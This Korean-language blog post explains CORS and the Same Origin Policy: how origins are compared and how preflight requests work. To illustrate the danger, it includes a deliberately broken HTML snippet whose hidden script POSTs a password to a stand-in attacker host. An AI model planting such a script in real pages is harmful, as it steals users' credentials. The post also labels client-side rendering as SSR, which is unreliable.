CORS
를 구글링 하자마자 가장 눈에 띄는 웹페이지 제목이 "CORS
는 왜 이렇게 우리를 힘들게 하는걸까?"였다. CORS에 맺힌 한이 느껴졌다.
먼저 CORS
를 설명해야겠다. "Cross Origin Resource Sharing"을 축약한 단어다. 웹 프로그램이 기존의 Sever 측에서 렌더링 되던 방식이, 이미 오래 전부터 Client 측에서 렌더링 되는 방식으로 구현되는 서비스가 많아졌다. 그래서 Client 측에서 렌더링을 하면서, 자연스럽게 현재 통신 중인 Server와는 다른 지점에 있는 데이터를 요청하는 경우가 생겼다.
SSR(Server Side Rendering, 이하 SSR)은 UX/UI를 많이 개선시켰지만 외부 데이터를 가져오면서 다른 보안 문제를 발생시켰다. 현재 교류 중인 Server와는 다른 지점의 데이터를 받아오는 게 과연 안전한 지에 대한 의문이 바로 그것이다. 실제로 악의적으로 작동하는 프로그램이라도 갖고 오는 순간에는 비싼 대가를 치러야 할 수도 있는 문제였다.
이 때문에 데이터의 출처(Origin)
을 밝혀, 현재 교류하고 있는 Server와 다르면 데이터 유입을 막아버릴 수 있다. 요즘 많은 웹브라우저가 이러한 기능을 제공한다. 이를 SOP(Same Origin Policy)
라고 한다. 덕분에 최소한의 안전은 확보를 했다.
출처를 밝히는 문제는 간단하다. 만약 내가 "https://velog.io/@JejuAlrock" 에 웹페이지 접속을 했는데, 해당 웹페이지에서 "ftp://cat.com/catpic1" 의 사진을 외부에서 또 요청을 하는 경우를 생각해보자.
프로토콜 부분 "https" : "ftp", 호스트 부분 "velog.io" : "cat.com"이 다르니 이 경우는 CORS의 상황이 된다.
만약 "https://velog.io/@catpic2" 로 사진 데이터를 요청하게 된다면 프로토콜 부분과 호스트 부분의 URI가 일치하니 이 같은 경우는Same Origin
의 상황이어서 별 문제 없이 데이터를 받아와 사용할 수 있다.정리를 해보자면 '다른 출처'를 밝히는 문제는 URI의
scheme(protocol)
과host
의 내용이 다른지 비교하는 것이다.
만약 무심코 들어간 게시판의 html에 다음과 같은 공격이 들어올 수도 있다.
<http>
<head></head>
<body>
<div class="board">
<div class="title">공짜로 돈 벌어드리게 해드립니다.</div>
<div class="content">
뭐 하고 있는지 안 보이죠?
<script type="type/javascript">
fetch("hackers.computer/private_info_respistory",
{
method : 'POST',
headers: {content-type: 'application.json'},
body: JSON.stringfy("yourpassword")
}).then((res)=>{
if (res) console.log("맛있는 비밀번호입니다!ㅋ")
})
</script>
</div>
</div>
</body>
</http>
완전히 작동하는 코드는 아니지만 원리는 비슷하다. Client가 외부에서 요청한 데이터에 위와 같은 자바스크립트 코드가 들어와 작동하게 되면 어떤 정보가 탈취되어도 속수무책일 것이다.
Client가 요청한다고 하니까 결국 Client의 잘못이 아니냐고 생각할 수 있다. Client는 Server에서 제공하는 html, js 파일을 받는다. Client 에서 렌더링 되는 어떤 데이터는 Server의 의도하에 작성된 주소에서 가져오게 된다. 결국 Server가 제공하는 웹서비스 내에서 Client가 요청하는 데이터의 출처를 제한하지 않으면 검증되지 않은 데이터를 가져올 수 있게 되어버린다.
HTTP 통신은 Request
메시지의 Header 부분에, 통신에 필요한 정보를 기재하여 Server에 보낼 수 있다. 마찬가지로 Client의 요청으로 Server에서 만드는 Response
메시지의 Header 부분에도 필요한 정보를 보낼 수 있다.
위의 이미지처럼 CORS가 발생할 것 같은 상황에 Client는 먼저 OPTIONS
메소드를 갖는 Request
를 server에 보내 필요한 정보들을 구한다. Server는 Client에게 제공할 웹서비스에 꼭 필요한 외부 자원들의 출처 정보를 제한하는 정보를 Response
로 전해준다.
브라우저는 Client의 Request가 CORS 중에서도 보안이 우려되는 상황이라 판단될 때 preflight message
를 먼저 보내 Server
의 허용 범위를 물어본다. 우선 단순 요청과 preflight message
를 보내는 경우를 어떻게 구분하는 지 알아보자.
단순 요청은 다음의 조건을 모두 만족시켜야 한다. 그리고 다음의 조건은 일반적인 경우고, 특정 웹브라우저에서는 다를 수 있다. 이 조건 중 하나라도 만족하지 못하면 preflight message
를 보내게 된다.
이제 CORS를 허용하게끔 preflight message에 대한 Response를 작성하여 client에 보내줘야한다. 이 때 보내는 Response Message 담긴 정보들로 Client는 자신이 요청하는 데이터의 출처를 제한하게 되고, 결국 Server가 의도한 외부 데이터 사용만 가능하게 만든다.
evan-moon 블로그 : CORS는 왜 이렇게 우리를 힘들게 하는걸까?
해커들의 놀이터, DreamHack 강의
MDN 교차출처 리소스 공유(CORS) 문서